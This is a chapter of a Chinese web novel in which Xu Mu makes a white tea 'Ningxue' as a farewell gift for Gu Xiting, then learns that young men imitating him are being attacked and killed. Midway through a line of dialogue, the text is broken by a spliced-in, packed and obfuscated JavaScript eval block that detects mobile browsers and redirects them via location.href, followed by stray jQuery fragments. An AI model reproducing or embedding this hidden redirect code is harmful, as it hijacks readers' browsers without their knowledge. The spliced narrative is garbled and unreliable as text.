默认冷灰
24号文字
方正启体

43. 凝雪惊变

作者:北风之北本书字数:K更新时间:
    离别的气氛,无声无息地弥漫在顾府的每一个角落。


    许暮已经好几次撞见顾溪亭在书房里,与九焙司的人规划着返程路线和后续的分工。


    许暮默默听着,偶尔捕捉到只言片语。


    顾溪亭这次选择走水路回都城,这倒不难理解,他接下来要直面的庞家,正是掌管着天下漕运的大世家。


    那摊开的地图,以及顾溪亭眉宇间凝重的思虑,都在清晰地宣告:归期已近。


    许暮最近倒是不忙,只是一直苦恼一件事:顾溪亭送了自己那么一份大礼,他又能回什么礼呢?


    他既没顾溪亭那样了得的手段,又没有他那么有钱……


    思来想去,自己最擅长的,似乎只有制茶了。


    赤霞自不必说,他早已为顾溪亭备下了一份全程都由他自己亲力亲为的赤霞,其滋味之醇厚远非寻常赤霞可比。


    然而赤霞再好,顾溪亭在云沧这几个月,怕是也早已品得味蕾都熟悉了它的每一分变化。


    再好的东西,日日相对,也难再品出新的惊喜。


    许暮坐在自己小院的石凳上,指尖无意识地摩挲着茶杯边缘,脑中飞快地掠过六大茶类的种种制法。


    最终,他的思绪停留在了白茶上。


    白茶工艺最为质朴,只需萎凋和干燥,不炒不揉,最大程度地保留茶叶的本真。


    顾溪亭曾禁止他再制出更惊世骇俗的新茶,但只为他一人做一份的话,既能表达心意,又不至于引发什么危险。


    正好几日不碰茶叶,许暮指尖有些发痒,心也空落落的。


    许暮自言自语道:“就这么定了!”


    念头一起,许暮便不再犹豫,但白茶看似简单,实则对原料要求极高,他让卜珏送来一筐最鲜嫩的一芽一叶。


    卜珏看着许暮有些发亮的眼睛,忍不住问道:“公子要研制新茶?”


    许暮心虚否定:“没有的事儿。”


    直到确认卜珏走远,许暮才开始行动,他并不是不信任对方,主要是不想让卜珏知道一件如此危险的事情。


    其实许暮当初也考虑过用白茶参加茶魁大赛,但最终选择赤霞,是因为其发酵后浓郁鲜明的滋味和红艳的汤色,与常见的绿茶差异巨大,更能抓住人心。


    而此刻正在制作的白茶,追求的却是一份未经雕琢的天然与本真,是另一种极致的美。


    -----------------


    夕阳的余晖将天边染成一片温暖的橘红,顾溪亭处理完手头的事务,习惯性地走向自己的卧房。


    推开门,室内空无一人,他又转去前厅、花园,甚至卜珏他们常聚的茶室,都不见许暮的身影。


    一丝不易察觉的焦虑悄然爬上心头,他绕到许暮独居的小院,当看到那个熟悉的身影正背对着院门,在廊下专注地守着几匾茶叶时,顾溪亭才长长地舒了一口气。


    他放轻脚步向许暮的方向走去:“怎么躲到这里清净了?”


    许暮闻声回头,夕阳的金辉恰好落在他脸上,映得那双清澈的眼眸亮晶晶的。


    他唇角扬起一个纯粹而明亮的笑容,带着一种顾溪亭从未见过的雀跃,冲他招了招手:“过来!”


    顾溪亭的心,仿佛被那笑容和眼神狠狠撞了一下,连带着魂魄都似乎被勾了过去。


    他依言走近,目光落在许暮身前的茶具上,带着一丝疑惑:“什么事这么开心?”


    许暮没有回答,只是小心翼翼地从一个素白瓷罐中取出些许茶叶,投入温热的盖碗中。


    沸水注入,茶叶在清澈的水中缓缓舒展身姿,如同沉睡的精灵苏醒。


    片刻后,他滤出茶汤,那汤色清亮如浅月,带着淡淡的杏黄,一股清雅鲜灵的香气随之袅袅升起。


    他将那杯茶轻轻推到顾溪亭面前:“尝尝看。”


    顾溪亭端起茶杯,凑近鼻尖轻嗅,那香气清幽淡远,似雨后山林,又似空谷幽兰,与赤霞的浓烈馥郁截然不同。


    他浅啜一口,茶汤温润地滑过舌尖,一股清甜鲜爽的滋味瞬间在口腔中弥漫开来,带着山泉般的甘冽,回味悠长,淡雅宜人。


    他惊讶地看向许暮:“这不是赤霞,你怎么又……”


    话未说完,许暮却突然伸出手,食指轻轻抵在了他的唇上:“嘘——”


    顾溪亭瞬间僵住,所有的话语都卡在了嘴边,喉结不受控制地上下滑动了一下。


    许暮很快收回了手,仿佛刚才那亲昵的举动只是无心。


    他又给顾溪亭续上一杯茶汤:“这是白茶凝雪,味道比赤霞更清甜鲜爽,淡雅回甘。”他顿了顿,看着顾溪亭的眼睛,“我记得你的交代,没打算铺开。”


    顾溪亭疑惑地看着他,只听许暮认真道:“这茶,是只为你一人做的,世间仅此一份,你带回去,自己慢慢品,权当是我送你的临别之礼。”


    顾溪亭怔怔地看着许暮,又低头看了看手中清亮的茶汤,再看向那个装着独一无二茶叶的瓷罐。


    理智瞬间被淹没,茶是什么滋味他此刻全然感受不到了,脑海里只剩下许暮那句:


    “只为你做的,世间仅此一份。”


    过了好一会儿,顾溪亭突然贪心地试图探究起这背后的深意:“你既有六大茶类的方子,为何独独选了这凝雪送我?”


    许暮拿起茶罐准备仔细封装,闻言动作未停,只是侧过头:“因为凝雪工艺最简单,省时省力。”


    顾溪亭:“……”


    他看着许暮那副这还用问的表情,所有酝酿好的深情,瞬间被噎在了喉咙里,化作一声好笑的叹息。


    许暮,总能在他自以为看透的时候,给他一个意想不到的答案。


    而许暮在回过头后,偷偷露出了心虚的表情。


    其实,选择凝雪又岂止是因为工艺简单。


    白茶,不炒不揉,天然萎凋,未经世俗的烈火炙烤,未被反复的揉捻塑形,带着生命最本真的鲜灵与纯净。


    许暮是希望,当一切尘埃落定,顾溪亭的灵魂深处,依然能透出这份未经雕琢的、鲜活的灵光。


    就在两人各自沉浸在这份难得静谧的时光中时,一阵急促而慌乱的脚步声打破了院中的宁静。


    “主子!主子不好了!”顾意气喘吁吁地冲了进来,脸上是前所未有的紧张和惊惶,完全失了平日里的跳脱。


    顾溪亭心头一凛霍然起身:“怎么了?”


    顾意喘着粗气:“这两天云沧城里出了好几起伤人事件,专挑夜里落单的年轻人下手!起初大家以为是茶市大兴,来往人员鱼龙混杂,难免有些宵小之徒作乱,官府也加强了巡查,可、可就在刚才,城西闹出人命了!”


    “什么?!”顾溪亭和许暮同时惊呼出声,脸色骤变。


    顾意咽了口唾沫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189234|181048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    继续道:“我们的人第一时间赶去调查,发现那死者是因为在反抗时,慌乱中扯下了行凶之人的面罩,看清了对方的脸,才被对方下了死手灭口的!我们顺着这条线索往前查,翻看之前几起伤人案的卷宗,又走访了受害者,发现……发现所有被下手的人,穿着打扮上或多或少……都是在模仿许公子……”


    许暮如遭雷击,难以置信地瞪大了眼睛,身体晃了晃:“模仿我?”


    “是!云沧城里崇拜您的年轻人,都在有意无意地模仿您的穿着打扮,青翠长衫,茶花暗纹,窄袖束腰。”


    顾意没敢说,其实在他们开始调查的前一刻,“仰慕许暮者死”的消息已经在云沧悄然传开。


    许暮只觉得一股寒意从脚底直冲头顶,他一直在府中,被顾溪亭保护得严密,那些人没有机会下手。


    此番,是对许暮的警告。


    许暮眼前发黑,那些无辜的年轻人,因为他的缘故才遭此横祸……


    “都是因为我……”


    胸口传来一阵剧痛,许暮再也支撑不住,捂着心口跌坐在石凳上。


    “许暮!”顾溪亭蹲下身,用力扶住他的肩膀,“别胡说!这与你何干?是那些人丧心病狂!”


    许暮抬起头,眼中充满了痛苦:“带我去……”


    顾溪亭所有劝阻的话都堵在了喉咙里,他咬了咬牙:“好!我带你去!”


    三人立刻动身,策马赶往城西出事的民宅。


    还未进门,便听到里面传来撕心裂肺的哭嚎声,死的是这户人家最受宠爱的小儿子,一个才十二三岁的少年。


    他的父母扑在冰冷的尸体上,哭得肝肠寸断。


    当看到许暮走进来时,那悲痛欲绝的母亲猛地扑了过来,死死揪住许暮的衣襟大哭:“为什么?!许公子!你告诉我们为什么啊?!这日子……这日子才刚刚好了几天……我的儿啊……他做错了什么啊?!他只是……他只是仰慕你啊……”


    那凄厉的哭喊狠狠扎进许暮的心口,他僵在原地,任由她撕扯,嘴唇颤抖着,却一个字也说不出来。


    巨大的愧疚和痛苦几乎将许暮淹没。


    旁边的人连忙上前将那位悲恸的母亲拉开,许暮失魂落魄地转身,踉踉跄跄地往外走。


    刚迈出大门,脚下猛地一软,重重跪倒在冰冷的青石板路上。


    “许暮!”顾溪亭的心瞬间提到了嗓子眼,冲过去想要将他扶起。


    就在这时,阴沉了许久的天,终于承受不住,豆大的雨点噼里啪啦地砸落下来,瞬间打湿了地面,也打湿了许暮的衣衫和头发。


    雨水混合着泪水,顺着许暮苍白的脸颊滑落。


    许暮抬起头,任由冰冷的雨水冲刷着脸庞,他看向顾溪亭,带着一种孤注一掷的决然:


    “我要去都城。”


    顾溪亭心头巨震,他太了解许暮了,旁人因他而流的血,会成为他一辈子都无法摆脱的枷锁。


    他将许暮的身体紧紧揽入怀中,用尽全身的力气抱住他。


    “好,一起走。”


    “我们去都城。”


    “去掀翻这吃人的世道!”


    雨水无情地冲刷着大地,也冲刷着顾府那个宁静的小院。


    廊下,许暮还没来得及收起的凝雪,在突如其来的暴雨中被打得七零八落,凝雪未凝,便被这骤然而至的惊雷暴雨,彻底冲烂了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)